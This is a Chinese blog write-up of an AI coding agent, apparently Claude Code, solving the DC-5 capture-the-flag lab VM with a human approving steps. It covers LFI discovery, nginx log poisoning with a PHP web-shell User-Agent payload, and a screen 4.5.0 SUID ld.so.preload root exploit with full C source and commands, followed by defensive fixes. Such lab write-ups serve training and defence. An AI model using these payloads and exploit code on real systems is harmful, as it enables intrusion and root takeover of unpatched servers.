让AI自己打CTF(二):ClaudeCode拿下DC-5,LFI到SUID提权一条龙"

admin 2026-10-17 07:44:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

让AI自己打CTF(二):Claude Code拿下DC-5,LFI到SUID提权一条龙

零日手记
零日手记

随笔漫记安全路

2026年8月21日 08:45
北京

在小说阅读器读本章

去阅读

DC-1通关后,换了台DC-5继续让Claude Code自己打。

DC-5跟DC-1不一样——没有CMS。DC-1是Drupal 7,有现成漏洞和Metasploit模块;DC-5是个纯手写PHP站点,没有已知CMS,不能从知识库直接捞漏洞,得自己从零侦察。

我做的事依旧只有两件:告诉它靶机地址,在它执行高风险操作时按同意。


开局:nmap扫描,攻击面只有一个Web

nmap -A -p- 192.168.192.130
端口 服务 版本
80 HTTP nginx 1.6.2
111 rpcbind 2-4

开放服务很少,没有SSH,没有数据库端口。AI的判断很直接:攻击面就在80端口,nginx本身漏洞少,问题大概率在PHP应用层。没在端口扫描上浪费时间,直接进Web侦察。


第一步:自己摸出来一个LFI

Claude Code先做常规枚举:访问首页→简单PHP站点,有Home/About/Contact三个页面;Contact页面有表单,提交后跳转到thankyou.php;robots.txt不存在;源码没有CMS特征。

接下来它做了一件关键的事——观察URL参数。

thankyou.php在表单提交后URL变成:

/thankyou.php?firstname=aaa&lastname=bbb&country=Australia

但它注意到thankyou.php没有表单提交时也能直接访问,而且会显示一段footer文件被包含的痕迹。它立刻测试了file参数:

/thankyou.php?file=/etc/passwd

返回了/etc/passwd的内容。LFI实锤。 file参数没有任何过滤,直接包含任意文件。


第二步:日志注入,从LFI到RCE的关键一跳

LFI只能读文件,要拿shell得让被读的文件里包含PHP代码。nginx的access.log是最佳目标——它记录每个请求的User-Agent,在User-Agent里写PHP代码,再通过LFI包含access.log,代码就会执行。

Claude Code直接用Python构造请求:

# 在User-Agent里写入PHP代码
headers = {'User-Agent': '<?php system($_GET[\"c\"]); ?>'}
requests.get(TARGET, params={'file': '/var/log/nginx/access.log', 'c': 'id'}, headers=headers)

注入完成后,再次通过LFI包含这个日志,<?php system($_GET[\"c\"]); ?>被PHP解析执行。

输出提取的小技巧: access.log很大,里面一堆历史请求。Claude Code用了marker隔离方式——在命令前后各echo一个XXXXXXXXXXXXXXXXMARK,用正则提取两个marker之间的内容。这种做法跟人类渗透测试工程师的工作流一样——遇到输出污染就用marker隔离。

执行id:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE拿到了。


第三步:低权限shell里翻箱倒柜

拿到www-data后,Claude Code没有立刻找提权,而是先做信息收集——系统是Debian 8 jessie,内核3.16,老系统。

关键一步是SUID枚举:

find / -perm -4000 -type f 2>/dev/null

结果里/usr/bin/screen带SUID——这是个老朋友。screen 4.5.0有著名的SUID提权漏洞:CVE-2017-5618 / EDB-41154。

确认版本:

/usr/bin/screen --version
# Screen version 4.05.00 (GNU) 30-Dec-17

4.05.00就是4.5.0,正好在漏洞范围内。


第四步:screen SUID提权,AI自己编译exploit

screen 4.5.0的SUID提权原理:

  1. screen二进制是SUID root
  2. screen加载配置时会读取/etc/ld.so.preload,这个文件指定要预加载的共享库
  3. 往/etc/ld.so.preload写入恶意.so路径,下次screen启动时加载这个.so
  4. .so里的__attribute__((__constructor__))函数以root权限执行
  5. constructor里chown+chmod一个shell程序,这个shell变成SUID root

Claude Code从知识库里直接捞出了完整的利用思路,包括CVE编号、EDB编号、exploit代码模板和利用步骤。

然后它自己写了两个C文件并编译:

libhax.c(constructor函数,改rootshell权限):

__attribute__ ((__constructor__))
void dropshell(void){
    chown(\"/tmp/rootshell\", 0, 0);
    chmod(\"/tmp/rootshell\", 04755);
    unlink(\"/etc/ld.so.preload\");
}

rootshell.c(setuid(0) + execvp /bin/bash):

int main(void){
    setuid(0); setgid(0);
    char *argv[] = {\"-p\", NULL};
    execvp(\"/bin/bash\", argv);
}

编译过程中踩了几个坑:

  • 第一次gcc报cc1找不到 → PATH问题,需要export完整PATH
  • 第二次gcc报cannot find 'ld' → 同样PATH问题,修复后编译成功
  • rootshell.c一开始execvp参数语法错误 → 改成char *argv[]数组传参解决

这种\"撞坑→调试→修复\"的循环,AI也是自己走完的。 我没有干预。


第五步:触发ld.so.preload劫持,拿到root

/etc/ld.so.preload是root才能写的文件,www-data没权限直接写入。利用screen的-L选项绕过:

cd /etc
umask 000
screen -D -m -L -E ld.so.preload ./libhax.so
cd /tmp
./rootshell

-L filename让screen把日志写入指定文件,利用screen的SUID权限把./libhax.so写到/etc/ld.so.preload里。再启动一次screen,触发constructor,把/tmp/rootshell改成root:SUID。

验证:

ls -la /tmp/rootshell
# -rwsr-xr-x 1 root root 7392 Aug 4 10:30 /tmp/rootshell

echo \"id\" | /tmp/rootshell
# uid=0(root) gid=0(root) groups=0(root)

uid=0(root)——root到手。


拿Flag

echo \"cat /root/thisistheflag.txt\" | /tmp/rootshell

返回一段ASCII艺术字\"I hope you've enjoyed this challenge\" + 感谢文字。

DC-5通关。


完整攻击链

nmap扫端口 → 识别nginx 1.6.2
    ↓
观察URL参数 → 测试?file=/etc/passwd → LFI实锤
    ↓
User-Agent写PHP代码 → 包含access.log → RCE
    ↓
find / -perm -4000 → /usr/bin/screen带SUID
    ↓
screen 4.5.0 → CVE-2017-5618 → ld.so.preload劫持
    ↓
gcc编译libhax.so + rootshell → root权限

DC-5比DC-1难在哪

DC-1是Drupal 7,有Metasploit现成模块,AI从知识库捞出来直接用。DC-5没有CMS,没有现成exploit,每一步都得自己构造:

  • LFI验证 — 看到?file=就立刻测/etc/passwd,渗透测试工程师的本能
  • 日志注入构造 — 自己写User-Agent注入payload,自己设计marker提取输出
  • SUID枚举 — 拿到shell第一件事find / -perm -4000,标准动作
  • GCC编译调试 — cc1找不到、ld找不到、execvp参数错,撞坑→调试→修复,自己走完
  • 利用链拼接 — libhax.c + rootshell.c + screen -L + ld.so.preload,四步串成完整提权链

如果说DC-1还能说\"AI用了Metasploit现成模块所以简单\",那DC-5这个LFI+手搓提权的链路,已经没什么现成模块可以依赖了——每一步都得自己构造。

AI在标准漏洞路径上,已经能独立完成从侦察到提权的完整kill chain。


防御视角:这台机器哪里烂

  1. LFI没过滤 → thankyou.php的file参数直接include,白名单或路径校验是必须的
  2. nginx access.log可被www-data读取 → 日志文件权限收紧
  3. screen 4.5.0带SUID且未打补丁 → 升级到4.8.0+,或移除SUID位
  4. /etc/ld.so.preload可被screen写入 → 定期审计
  5. 系统老旧(Debian 8 jessie, kernel 3.16)→ 升级到受支持的发行版

DC-5这台靶机最能检验基本功:能不能自己拼利用链。LFI怎么变RCE、SUID screen怎么利用、ld.so.preload怎么劫持、GCC报错怎么修——这些决策Claude Code都自己做了,而且做得对。

它不是工具的替代品,而是真正能做工程决策的助手。

下期见。


靶机下载:VulnHub搜\"DC-5\" | 难度:⭐⭐⭐(适合练LFI+SUID提权)| AI工具:Claude Code


让AI自己打CTF(二):ClaudeCode拿下DC-5,LFI到SUID提权一条龙" 网络安全文章

让AI自己打CTF(二):ClaudeCode拿下DC-5,LFI到SUID提权一条龙"

本文记录ClaudeCode独立完成DC-5靶机渗透测试过程,从nmap扫描发现Web攻击面,通过观察URL参数发现LFI漏洞,利用nginx日志注入实现RCE,再通过SUID枚举发现screen4.5.0漏洞,自行编译exploit完成ld.so.preload劫持提权至root。文章展示了AI在无现成漏洞模块情况下自主完成从侦察到提权的完整攻击链,并给出防御建议。
从Skill依赖到自主推理,一个轻量化AI渗透平台的搭建思路" 网络安全文章

从Skill依赖到自主推理,一个轻量化AI渗透平台的搭建思路"

本文提出一种轻量化AI渗透平台搭建思路,核心是从依赖skill转向自主推理。作者认为传统AI渗透受限于skill的局限性和安全风险,因此设计七层引擎框架,包括资产探测、功能测试、战略思考、战术执行、回顾、学习与记忆层。该框架通过身份提示词和知识库将AI武装成红队工程师,仅用skill做方向指引,保留AI自主探索能力。实际使用中,平台在JS逆向和接口测试上表现强大,但复杂漏洞仍需人工干预。建议使用Deepseek-v4-flash等模型结合MCP工具实现自动化渗透。
[AI]一次代码平台的挖掘" 网络安全文章

[AI]一次代码平台的挖掘"

本文记录了借助AI工具对内网代码平台进行漏洞挖掘的过程。作者将目标信息交由AI分析并根据生成的报告成功复现了一个高危漏洞。但是文章技术细节极度匮乏未披露具体漏洞类型利用方式及提示词仅以截图展示结果属于典型的打卡式水文不具备实际参考价值与可操作性。
评论:0   参与:  0